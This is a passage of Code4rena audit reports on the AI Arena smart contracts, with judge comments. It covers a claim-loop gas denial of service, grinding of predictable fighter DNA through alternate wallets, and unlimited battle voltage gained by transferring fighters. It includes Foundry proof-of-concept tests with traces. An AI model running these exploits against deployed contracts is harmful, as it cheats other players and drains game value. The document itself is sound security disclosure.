Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294-L311 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
When a user has accumulated points battling in the protocol and wants to convert those to NRN will have to call claimNRN
function once the round where he accumulated the points is over.
function claimNRN() external { require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period"); uint256 claimableNRN = 0; uint256 nrnDistribution; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { nrnDistribution = getNrnDistribution(currentRound); claimableNRN += ( accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution ) / totalAccumulatedPoints[currentRound]; numRoundsClaimed[msg.sender] += 1; } if (claimableNRN > 0) { amountClaimed[msg.sender] += claimableNRN; _neuronInstance.mint(msg.sender, claimableNRN); emit Claimed(msg.sender, claimableNRN); } }
Here we can see that this function loops through all rounds where the user has not claimed his NRN. That means that if a user started playing after a lot of rounds, when he would try to call claimNRN
, since his numRoundsClaimed
will be 0 it will revert due to running out of gas.
The same happens for claiming the MergingPool
NFTs as we can see here:
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
Manual review
To solve this problem, the function could ask the user to specify a range of rounds to claim
function claimNRN(uint256 startingRound, uint256 endingRound) external { require(startingRound <= endingRound); require(numRoundsClaimed[msg.sender] <= startingRound); require(endingRound < roundId, "Already claimed NRNs for this period"); uint256 claimableNRN = 0; uint256 nrnDistribution; for (uint32 currentRound = startingRound; currentRound < endingRound; currentRound++) { nrnDistribution = getNrnDistribution(currentRound); claimableNRN += ( accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution ) / totalAccumulatedPoints[currentRound]; } numRoundsClaimed[msg.sender] = endingRound - 1; if (claimableNRN > 0) { amountClaimed[msg.sender] += claimableNRN; _neuronInstance.mint(msg.sender, claimableNRN); emit Claimed(msg.sender, claimableNRN); } }
DoS
#0 - c4-pre-sort
2024-02-25T02:26:57Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T02:27:14Z
raymondfam marked the issue as duplicate of #1541
#2 - c4-judge
2024-03-11T13:01:11Z
HickupHH3 marked the issue as duplicate of #216
#3 - c4-judge
2024-03-11T13:08:05Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-12T02:44:59Z
HickupHH3 marked the issue as partial-50
#5 - c4-judge
2024-03-21T02:13:34Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L379 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L214
The DNA for the fighters is basically a number that determines the generation of the PhysicalAttributes
and if the fighters does not have custom attributes, it also computes the element
and weight
.
Since this DNA is calculated pseudorandomly, the user can manipulate the output hash in order to obtain some stats that may be benefitial for the user.
There are different methodologies to calculate the DNA, let's look at all cases
reRoll
function reRoll(uint8 tokenId, uint8 fighterType) public { ... if (success) { numRerolls[tokenId] += 1; @> uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
In this case, the parameters used to compute the DNA hash are the owner of the fighter, the tokenId
and the amount of rerolls that this fighters already executed.
A user can manipulated the output DNA simply by creating a wallet with an address that would compute a DNA that would lead to a benefitial stat. Once the user created an alter wallet that would compute a benefitial DNA, he just has to transfer the fighter ownership to this alter acocunt, execute reRoll
function and tranfer back to the main wallet. (See POC)
mintFromMergingPool
In this other function, the user can already pass the custom attributes for the element and weight. However, the DNA will still be used for the physical attributes.function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, @> uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, 0, customAttributes ); }
In this case, the DNA is computed by the msg.sender
(in this case will always be the _mergingPoolAddress
so it is not manipulable) and the number of existing fighters.
In this function a user can not manipulate the ouput hash, however, he can compute the hash for the upcoming fighters, because when a new fighter will be created, the fighters.length
will change along with the output hash. As a result, a user can claim the MergingPool
reward to mint and NFT when the output hash will be benefitial for him.
redeemMintPass
In this case we can see that the user has the complete freedom of providing a mintPassDna
, and with it is calculated the DNA just by encoding it.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { ... for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, @> uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
With this method of creating new fighters, the user has no constraints and can compute the string needed to achieve a DNA that makes him mint a fighter with a specific stat (weight
, element
and physicalAttributes
).
claimFighters
In this function we can see that the DNA is computed with the following elementsfunction claimFighters( uint8[2] calldata numToMint, bytes calldata signature, string[] calldata modelHashes, string[] calldata modelTypes ) external { ... for (uint16 i = 0; i < totalToMint; i++) { _createNewFighter( msg.sender, @> uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHashes[i], modelTypes[i], i < numToMint[0] ? 0 : 1, 0, [uint256(100), uint256(100)] ); } }
It takes the address of the receiver and the amount of existing fighters. Hence, a user could create a lot of wallets computing the output hash in order to obtain a wanted stat, for example, specific element or weight. After that, he just needs to request the signature from the delegated address and mint the fighter with his previously computed stat.
I'm just gonna proof the first case where a user can reRoll
the DNA of a fighter in order to achieve a wanted stats.
This test uses the setup from the FighterFarm.t.sol
function testPredictableRerollStats() public { _neuronContract.addSpender(address(_fighterFarmContract)); address userMainWallet = makeAddr("userMain"); address calculatedAlterWallet; uint256 tokenId = 0; _mintFromMergingPool(userMainWallet); _fundUserWith4kNeuronByTreasury(userMainWallet); ( , uint256 element, , , , , , , ) = _fighterFarmContract.fighters(tokenId); // The minted fighter had element number 1 assertEq(element, 1); // However, the user wants to obtain a fighter with element number 2 // The user should create new wallets and use their public address in order // to achieve this effect, however, since it is not possible to do this // in the tests, we are gonna iterate to incrementing address to achieve // the result uint256 i; while(true){ address newAddress = address(uint160(uint160(address(0xdead)) + i)); uint256 newDNA = uint256(keccak256(abi.encode(newAddress, tokenId, 0))); uint256 newElement = newDNA % 3; if(newElement == 2){ calculatedAlterWallet = newAddress; break; } i++; } // At this point, the user has the alter account that will make his fighter // reroll to the element he wanted (2) vm.startPrank(userMainWallet); // The user can transfer his NFT because he has not staked NRN and the receiver // does not have more than 10 fighters _fighterFarmContract.safeTransferFrom(userMainWallet, calculatedAlterWallet, tokenId); _neuronContract.transfer(calculatedAlterWallet, 4_000 ether); vm.stopPrank(); vm.startPrank(calculatedAlterWallet); _fighterFarmContract.reRoll(uint8(tokenId), 0); _fighterFarmContract.safeTransferFrom(calculatedAlterWallet, userMainWallet, tokenId); vm.stopPrank(); // The user now owns the fighter and the element has been changed to 2 // that was the one that wanted the user ( , uint256 elementObtained, , , , , , , ) = _fighterFarmContract.fighters(tokenId); // The minted fighter had element number 1 assertEq(elementObtained, 2); }
Output traces
Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testPredictableRerollStats() (gas: 650965) Traces: [650965] FighterFarmTest::testPredictableRerollStats() ββ [27180] Neuron::addSpender(FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492]) β ββ emit RoleGranted(role: 0x7434c6f201a551bfd17336985361933e0c4935b520dac8a49d937b325f7d5c0a, account: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], sender: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) β ββ β () ββ [0] VM::addr(2872453350390892757338897205262552825254500323964957335827005705468983314903 [2.872e75]) [staticcall] β ββ β userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6] ββ [0] VM::label(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], "userMain") β ββ β () ββ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e]) β ββ β () ββ [411521] FighterFarm::mintFromMergingPool(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], "_neuralNetHash", "original", [1, 80]) β ββ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall] β β ββ β FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 }) β ββ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], tokenId: 0) β ββ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall] β β ββ emit FighterCreated(id: 0, weight: 80, element: 1, generation: 0) β β ββ β () β ββ β () ββ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) β ββ β () ββ [29938] Neuron::transfer(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], 4000000000000000000000 [4e21]) β ββ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], value: 4000000000000000000000 [4e21]) β ββ β true ββ [586] Neuron::balanceOf(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6]) [staticcall] β ββ β 4000000000000000000000 [4e21] ββ [4390] FighterFarm::fighters(0) [staticcall] β ββ β 80, 1, FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 }), 0, "_neuralNetHash", "original", 0, 0, false ββ [0] VM::startPrank(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6]) β ββ β () ββ [32137] FighterFarm::safeTransferFrom(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], 0x000000000000000000000000000000000000dEaD, 0) β ββ emit Approval(owner: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], approved: 0x0000000000000000000000000000000000000000, tokenId: 0) β ββ emit Transfer(from: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], to: 0x000000000000000000000000000000000000dEaD, tokenId: 0) β ββ β () ββ [20111] Neuron::transfer(0x000000000000000000000000000000000000dEaD, 4000000000000000000000 [4e21]) β ββ emit Transfer(from: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], to: 0x000000000000000000000000000000000000dEaD, value: 4000000000000000000000 [4e21]) β ββ β true ββ [0] VM::stopPrank() β ββ β () ββ [0] VM::startPrank(0x000000000000000000000000000000000000dEaD) β ββ β () ββ [107687] FighterFarm::reRoll(0, 0) β ββ [586] Neuron::balanceOf(0x000000000000000000000000000000000000dEaD) [staticcall] β β ββ β 4000000000000000000000 [4e21] β ββ [24933] Neuron::approveSpender(0x000000000000000000000000000000000000dEaD, 1000000000000000000000 [1e21]) β β ββ emit Approval(owner: 0x000000000000000000000000000000000000dEaD, spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 1000000000000000000000 [1e21]) β β ββ β () β ββ [4759] Neuron::transferFrom(0x000000000000000000000000000000000000dEaD, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000000 [1e21]) β β ββ emit Approval(owner: 0x000000000000000000000000000000000000dEaD, spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 0) β β ββ emit Transfer(from: 0x000000000000000000000000000000000000dEaD, to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000000 [1e21]) β β ββ β 0x0000000000000000000000000000000000000000000000000000000000000001 β ββ [33379] AiArenaHelper::createPhysicalAttributes(61060204601653085846391233538692547635011994528005699960289688575814866000132 [6.106e76], 0, 0, false) [staticcall] β β ββ β FighterPhysicalAttributes({ head: 4, eyes: 1, mouth: 2, body: 4, hands: 1, feet: 1 }) β ββ β () ββ [23657] FighterFarm::safeTransferFrom(0x000000000000000000000000000000000000dEaD, userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], 0) β ββ emit Approval(owner: 0x000000000000000000000000000000000000dEaD, approved: 0x0000000000000000000000000000000000000000, tokenId: 0) β ββ emit Transfer(from: 0x000000000000000000000000000000000000dEaD, to: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], tokenId: 0) β ββ β () ββ [0] VM::stopPrank() β ββ β () ββ [4390] FighterFarm::fighters(0) [staticcall] β ββ β 76, 2, FighterPhysicalAttributes({ head: 4, eyes: 1, mouth: 2, body: 4, hands: 1, feet: 1 }), 0, "_neuralNetHash", "original", 0, 0, false ββ β () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.41ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
Use chainlink VRF instead for real random values. This way, no users can predict the output and the game would be fair.
Error
#0 - c4-pre-sort
2024-02-24T01:43:02Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:43:14Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:49:27Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-06T03:50:55Z
HickupHH3 marked the issue as satisfactory
#4 - HickupHH3
2024-03-14T10:58:17Z
best report as it encompasses all instances of insufficient entropy in DNA determination, with POC
#5 - c4-judge
2024-03-14T14:49:30Z
HickupHH3 marked the issue as selected for report
#6 - c4-judge
2024-03-14T14:50:05Z
HickupHH3 marked the issue as primary issue
#7 - c4-judge
2024-03-15T02:10:55Z
HickupHH3 changed the severity to 2 (Med Risk)
#9 - c4-judge
2024-03-20T01:02:27Z
HickupHH3 marked the issue as not selected for report
#10 - c4-judge
2024-03-22T04:17:20Z
HickupHH3 marked the issue as selected for report
#11 - c4-judge
2024-03-22T04:19:57Z
HickupHH3 marked the issue as not selected for report
#12 - HickupHH3
2024-03-22T04:21:29Z
should be a dup of #376
#13 - c4-judge
2024-03-22T04:23:18Z
HickupHH3 marked the issue as duplicate of #376
π Selected for report: t0x1c
Also found by: 0xCiphky, 0xDetermination, Draiakoo, Greed, Kalogerone, MatricksDeCoder, MidgarAudits, MrPotatoMagic, PedroZurdo, Shubham, SpicyMeatball, VAD37, Velislav4o, ZanyBonzy, btk, cats, djxploit, forkforkdog, givn, ladboy233, lanrebayode77, lil_eth, visualbits, zaevlad
59.2337 USDC - $59.23
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L333-L338
Voltage is the resource needed for a user to initiate fights. It is meant to have a maximum of 100 units per address and it is refilled once a day. Each initiated battle spends 10 units of voltage, that means that a user can initiate 10 battles per day. There is also a game item to refill this 100 voltage but it costs NRN and it is meant to be used in order to not wait this 24 hours until voltage refill.
These units of voltage are attached to the owner of each fighter, that means that since it is independent of the NFT, it can be transfered between addresses and initiate unlimited amount of battles for free.
The user can initiate 10 battles, when he runs out of voltage, he transfers his fighter to an alter address and he can initiate 10 more battles for free. This can be done the amount of times that the user wants because creating a wallet is free. This feature is only possible when the user has no NRN staked, because otherwise, the NFT transfer would fail.
function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && balanceOf(to) < MAX_FIGHTERS_ALLOWED && @> !fighterStaked[tokenId] ); }
We can see in the updateBattleRecord
function that no matter if the user who initiated the battle has staked NRN or not, he should have enough voltage to do it
function updateBattleRecord( uint256 tokenId, uint256 mergingPortion, uint8 battleResult, uint256 eloFactor, bool initiatorBool ) external { require(msg.sender == _gameServerAddress); require(mergingPortion <= 100); address fighterOwner = _fighterFarmInstance.ownerOf(tokenId); require( !initiatorBool || _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp || _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST ); _updateRecord(tokenId, battleResult); uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); if (amountStaked[tokenId] + stakeAtRisk > 0) { _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner); } @> if (initiatorBool) { @> _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST); @> } totalBattles += 1; }
This feature basically makes the VoltageBattery
game item useless for games where no staked NRN is involved because it is possible to have unlimited amount of voltage.
Using the RankedBattle.t.sol
setup, consider the following PoC
function testPOCUnlimitedAmountOfVoltageWhenNotStaking() public { address playerMainAccount = makeAddr("main account"); address playerAlterAccount = makeAddr("alter account"); _mintFromMergingPool(playerMainAccount); vm.startPrank(address(_GAME_SERVER_ADDRESS)); // The player initiates 10 battles for(uint256 i; i < 10; i++){ _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); } // At this point the user would have to either wait a day or user a VoltageBattery vm.expectRevert(); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); vm.stopPrank(); // However, if the player transfers the fighter to an alter account, he can initiate 10 more battle for free vm.prank(playerMainAccount); _fighterFarmContract.safeTransferFrom(playerMainAccount, playerAlterAccount, 0); // Now the fighter can initiate 10 more fights vm.startPrank(address(_GAME_SERVER_ADDRESS)); for(uint256 i; i < 10; i++){ _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); } vm.stopPrank(); }
Result
Running 1 test for test/RankedBattle.t.sol:RankedBattleTest [PASS] testPOCUnlimitedAmountOfVoltageWhenNotStaking() (gas: 781751) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.69ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
Attach the voltage units available to the fighter (NFT). This would disable the transfer feature
Error
#0 - c4-pre-sort
2024-02-23T02:06:08Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T02:06:35Z
raymondfam marked the issue as duplicate of #43
#2 - c4-judge
2024-03-07T04:22:18Z
HickupHH3 marked the issue as satisfactory